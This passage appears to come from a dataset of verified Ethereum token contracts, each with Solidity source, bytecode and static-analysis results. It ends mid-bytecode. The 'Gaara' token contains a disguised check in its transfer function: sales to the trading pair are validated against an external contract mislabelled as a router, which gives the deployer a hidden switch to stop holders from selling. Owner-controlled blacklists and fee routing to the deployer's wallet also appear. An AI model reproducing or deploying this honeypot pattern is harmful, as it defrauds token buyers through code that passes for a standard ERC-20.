contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2, "Buy rewards must be between 0% and 2%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 15, "Buy tax must be between 0% and 15%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 2, "Sell rewards must be between 0% and 2%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 15, "Sell tax must be between 0% and 15%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmounts(uint256 maxBuyTxAmount, uint256 maxSellTxAmount) public onlyOwner { require(maxBuyTxAmount >= 5000000, "Buy Tx Limit must be high enough to not honeypot"); require(maxSellTxAmount >= 5000000, "Sell Tx Limit must be high enough to not honeypot"); _maxBuyTxAmount = maxBuyTxAmount * 10**9; _maxSellTxAmount = maxSellTxAmount * 10**9; _maxTxAmount = maxBuyTxAmount * 10**9; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize * 10**9; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101e65760003560e01c80638da5cb5b11610102578063c3c8cd8011610095578063dd62ed3e11610064578063dd62ed3e14610585578063ea1644d5146105cb578063f2fde38b146105eb578063fe7037301461060b57600080fd5b8063c3c8cd8014610524578063c492f04614610539578063cf4be39414610559578063d00efb2f1461056f57600080fd5b806398a5c315116100d157806398a5c31514610494578063a2a957bb146104b4578063a9059cbb146104d4578063bfd79284146104f457600080fd5b80638da5cb5b146104105780638f70ccf71461042e5780638f9a55c01461044e57806395d89b411461046457600080fd5b8063334773271161017a5780636fc3eaec116101495780636fc3eaec146103b057806370a08231146103c5578063715018a6146103e55780637d1db4a5146103fa57600080fd5b8063334773271461033a57806349bd5a5e146103505780636b999053146103705780636d8aa8f81461039057600080fd5b806318160ddd116101b657806318160ddd146102c357806323b872dd146102e85780632fd689e314610308578063313ce5671461031e57600080fd5b8062b8cf2a146101f257806306fdde0314610214578063095ea7b31461025b5780631694505e1461028b57600080fd5b366101ed57005b600080fd5b3480156101fe57600080fd5b5061021261020d366004611c99565b61062b565b005b34801561022057600080fd5b5060408051808201909152600c81526b5368696220466f7820496e7560a01b60208201525b6040516102529190611d5e565b60405180910390f35b34801561026757600080fd5b5061027b610276366004611db3565b6106ca565b6040519015158152602001610252565b34801561029757600080fd5b506015546102ab906001600160a01b031681565b6040516001600160a01b039091168152602001610252565b3480156102cf57600080fd5b50670de0b6b3a76400005b604051908152602001610252565b3480156102f457600080fd5b5061027b610303366004611ddf565b6106e1565b34801561031457600080fd5b506102da601b5481565b34801561032a57600080fd5b5060405160098152602001610252565b34801561034657600080fd5b506102da60195481565b34801561035c57600080fd5b506016546102ab906001600160a01b031681565b34801561037c57600080fd5b5061021261038b366004611e20565b61074a565b34801561039c57600080fd5b506102126103ab366004611e4d565b610795565b3480156103bc57600080fd5b506102126107dd565b3480156103d157600080fd5b506102da6103e0366004611e20565b610828565b3480156103f157600080fd5b5061021261084a565b34801561040657600080fd5b506102da60175481565b34801561041c57600080fd5b506000546001600160a01b03166102ab565b34801561043a57600080fd5b50610212610449366004611e4d565b6108be565b34801561045a57600080fd5b506102da601a5481565b34801561047057600080fd5b506040805180820190915260078152660a69092848c9eb60cb1b6020820152610245565b3480156104a057600080fd5b506102126104af366004611e68565b61090a565b3480156104c057600080fd5b506102126104cf366004611e81565b610939565b3480156104e057600080fd5b5061027b6104ef366004611db3565b610aef565b34801561050057600080fd5b5061027b61050f366004611e20565b60116020526000908152604090205460ff1681565b34801561053057600080fd5b50610212610afc565b34801561054557600080fd5b50610212610554366004611eb3565b610b50565b34801561056557600080fd5b506102da60185481565b34801561057b57600080fd5b506102da60085481565b34801561059157600080fd5b506102da6105a0366004611f37565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d757600080fd5b506102126105e6366004611e68565b610bf1565b3480156105f757600080fd5b50610212610606366004611e20565b610c2f565b34801561061757600080fd5b50610212610626366004611f70565b610d19565b6000546001600160a01b0316331461065e5760405162461bcd60e51b815260040161065590611f92565b60405180910390fd5b60005b81518110156106c65760016011600084848151811061068257610682611fc7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106be81611ff3565b915050610661565b5050565b60006106d7338484610e53565b5060015b92915050565b60006106ee848484610f77565b610740843361073b8560405180606001604052806028815260200161210d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611527565b610e53565b5060019392505050565b6000546001600160a01b031633146107745760405162461bcd60e51b815260040161065590611f92565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260040161065590611f92565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061081257506014546001600160a01b0316336001600160a01b0316145b61081b57600080fd5b4761082581611561565b50565b6001600160a01b0381166000908152600260205260408120546106db9061159b565b6000546001600160a01b031633146108745760405162461bcd60e51b815260040161065590611f92565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161065590611f92565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109345760405162461bcd60e51b815260040161065590611f92565b601b55565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161065590611f92565b60028411156109c25760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b6064820152608401610655565b600f821115610a1e5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261352560f01b6064820152608401610655565b6002831115610a7e5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b6064820152608401610655565b600f811115610adb5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231352560e81b6064820152608401610655565b600993909355600b91909155600a55600c55565b60006106d7338484610f77565b6013546001600160a01b0316336001600160a01b03161480610b3157506014546001600160a01b0316336001600160a01b0316145b610b3a57600080fd5b6000610b4530610828565b90506108258161161f565b6000546001600160a01b03163314610b7a5760405162461bcd60e51b815260040161065590611f92565b60005b82811015610beb578160056000868685818110610b9c57610b9c611fc7565b9050602002016020810190610bb19190611e20565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610be381611ff3565b915050610b7d565b50505050565b6000546001600160a01b03163314610c1b5760405162461bcd60e51b815260040161065590611f92565b610c2981633b9aca0061200e565b601a5550565b6000546001600160a01b03163314610c595760405162461bcd60e51b815260040161065590611f92565b6001600160a01b038116610cbe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610655565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d435760405162461bcd60e51b815260040161065590611f92565b624c4b40821015610daf5760405162461bcd60e51b815260206004820152603060248201527f427579205478204c696d6974206d757374206265206869676820656e6f75676860448201526f081d1bc81b9bdd081a1bdb995e5c1bdd60821b6064820152608401610655565b624c4b40811015610e1c5760405162461bcd60e51b815260206004820152603160248201527f53656c6c205478204c696d6974206d757374206265206869676820656e6f75676044820152701a081d1bc81b9bdd081a1bdb995e5c1bdd607a1b6064820152608401610655565b610e2a82633b9aca0061200e565b601955610e3b81633b9aca0061200e565b601855610e4c82633b9aca0061200e565b6017555050565b6001600160a01b038316610eb55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610655565b6001600160a01b038216610f165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610655565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fdb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610655565b6001600160a01b03821661103d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610655565b6000811161109f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610655565b6000546001600160a01b038481169116148015906110cb57506000546001600160a01b03838116911614155b1561135a57601654600160a01b900460ff16611164576000546001600160a01b038481169116146111645760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610655565b6001600160a01b03831660009081526011602052604090205460ff161580156111a657506001600160a01b03821660009081526011602052604090205460ff16155b6111fe5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610655565b6016546001600160a01b0383811691161461128357601a548161122084610828565b61122a919061202d565b106112835760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610655565b600061128e30610828565b601b546017549192508210159082106112a75760175491505b8080156112be5750601654600160a81b900460ff16155b80156112d857506016546001600160a01b03868116911614155b80156112ed5750601654600160b01b900460ff165b801561131257506001600160a01b03851660009081526005602052604090205460ff16155b801561133757506001600160a01b03841660009081526005602052604090205460ff16155b15611357576113458261161f565b4780156113555761135547611561565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061139c57506001600160a01b03831660009081526005602052604090205460ff165b806113ce57506016546001600160a01b038581169116148015906113ce57506016546001600160a01b03848116911614155b156113db5750600061151b565b6016546001600160a01b03858116911614801561140657506015546001600160a01b03848116911614155b1561146957600954600d55600a54600e556019548211156114695760405162461bcd60e51b815260206004820181905260248201527f544f4b454e3a204d617820427579205472616e73616374696f6e204c696d69746044820152606401610655565b6016546001600160a01b03848116911614801561149457506015546001600160a01b03858116911614155b1561151b57600b54600d55600c54600e556018548211156115015760405162461bcd60e51b815260206004820152602160248201527f544f4b454e3a204d61782053656c6c205472616e73616374696f6e204c696d696044820152601d60fa1b6064820152608401610655565b60085461150f90600561202d565b431161151b57602d600e555b610beb848484846117a8565b6000818484111561154b5760405162461bcd60e51b81526004016106559190611d5e565b5060006115588486612045565b95945050505050565b6014546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106c6573d6000803e3d6000fd5b60006006548211156116025760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610655565b600061160c6117d6565b905061161883826117f9565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061166757611667611fc7565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116bb57600080fd5b505afa1580156116cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f3919061205c565b8160018151811061170657611706611fc7565b6001600160a01b03928316602091820292909201015260155461172c9130911684610e53565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611765908590600090869030904290600401612079565b600060405180830381600087803b15801561177f57600080fd5b505af1158015611793573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b806117b5576117b561183b565b6117c0848484611869565b80610beb57610beb600f54600d55601054600e55565b60008060006117e3611960565b90925090506117f282826117f9565b9250505090565b600061161883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119a0565b600d5415801561184b5750600e54155b1561185257565b600d8054600f55600e805460105560009182905555565b60008060008060008061187b876119ce565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118ad9087611a2b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546118dc9086611a6d565b6001600160a01b0389166000908152600260205260409020556118fe81611acc565b6119088483611b16565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161194d91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061197b82826117f9565b82101561199757505060065492670de0b6b3a764000092509050565b90939092509050565b600081836119c15760405162461bcd60e51b81526004016106559190611d5e565b50600061155884866120ea565b60008060008060008060008060006119eb8a600d54600e54611b3a565b92509250925060006119fb6117d6565b90506000806000611a0e8e878787611b8f565b919e509c509a509598509396509194505050505091939550919395565b600061161883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611527565b600080611a7a838561202d565b9050838110156116185760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610655565b6000611ad66117d6565b90506000611ae48383611bdf565b30600090815260026020526040902054909150611b019082611a6d565b30600090815260026020526040902055505050565b600654611b239083611a2b565b600655600754611b339082611a6d565b6007555050565b6000808080611b546064611b4e8989611bdf565b906117f9565b90506000611b676064611b4e8a89611bdf565b90506000611b7f82611b798b86611a2b565b90611a2b565b9992985090965090945050505050565b6000808080611b9e8886611bdf565b90506000611bac8887611bdf565b90506000611bba8888611bdf565b90506000611bcc82611b798686611a2b565b939b939a50919850919650505050505050565b600082611bee575060006106db565b6000611bfa838561200e565b905082611c0785836120ea565b146116185760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610655565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082557600080fd5b8035611c9481611c74565b919050565b60006020808385031215611cac57600080fd5b823567ffffffffffffffff80821115611cc457600080fd5b818501915085601f830112611cd857600080fd5b813581811115611cea57611cea611c5e565b8060051b604051601f19603f83011681018181108582111715611d0f57611d0f611c5e565b604052918252848201925083810185019188831115611d2d57600080fd5b938501935b82851015611d5257611d4385611c89565b84529385019392850192611d32565b98975050505050505050565b600060208083528351808285015260005b81811015611d8b57858101830151858201604001528201611d6f565b81811115611d9d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611dc657600080fd5b8235611dd181611c74565b946020939093013593505050565b600080600060608486031215611df457600080fd5b8335611dff81611c74565b92506020840135611e0f81611c74565b929592945050506040919091013590565b600060208284031215611e3257600080fd5b813561161881611c74565b80358015158114611c9457600080fd5b600060208284031215611e5f57600080fd5b61161882611e3d565b600060208284031215611e7a57600080fd5b5035919050565b60008060008060808587031215611e9757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ec857600080fd5b833567ffffffffffffffff80821115611ee057600080fd5b818601915086601f830112611ef457600080fd5b813581811115611f0357600080fd5b8760208260051b8501011115611f1857600080fd5b602092830195509350611f2e9186019050611e3d565b90509250925092565b60008060408385031215611f4a57600080fd5b8235611f5581611c74565b91506020830135611f6581611c74565b809150509250929050565b60008060408385031215611f8357600080fd5b50508035926020909101359150565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561200757612007611fdd565b5060010190565b600081600019048311821515161561202857612028611fdd565b500290565b6000821982111561204057612040611fdd565b500190565b60008282101561205757612057611fdd565b500390565b60006020828403121561206e57600080fd5b815161161881611c74565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120c95784516001600160a01b0316835293830193918301916001016120a4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261210757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220591fbde5387d2e1be56340c76791b03fe91526d02cd0fade750bc41eac5f91a364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
2,754
0x36fDed2220b6B9412D250B3FdDE21aEb412a6F65
/** *Submitted for verification at Etherscan.io on 2021-11-17 */ //SPDX-License-Identifier: MIT // Telegram: t.me/GaaraToken pragma solidity ^0.8.9; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } uint256 constant INITIAL_TAX=9; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=1200000000; string constant TOKEN_SYMBOL="GAARA"; string constant TOKEN_NAME="Gaara"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } contract Gaara is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(5); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102905780639e752b95146102be578063a9059cbb146102de578063dd62ed3e146102fe578063f42938901461034457600080fd5b806356d9dce81461021e57806370a0823114610233578063715018a6146102535780638da5cb5b1461026857600080fd5b8063293230b8116100d1578063293230b8146101c1578063313ce567146101d85780633e07ce5b146101f457806351bc3c851461020957600080fd5b806306fdde031461010e578063095ea7b31461014e57806318160ddd1461017e57806323b872dd146101a157600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082019091526005815264476161726160d81b60208201525b6040516101459190611559565b60405180910390f35b34801561015a57600080fd5b5061016e6101693660046115c3565b610359565b6040519015158152602001610145565b34801561018a57600080fd5b50610193610370565b604051908152602001610145565b3480156101ad57600080fd5b5061016e6101bc3660046115ef565b610391565b3480156101cd57600080fd5b506101d66103fa565b005b3480156101e457600080fd5b5060405160068152602001610145565b34801561020057600080fd5b506101d66107bd565b34801561021557600080fd5b506101d66107f3565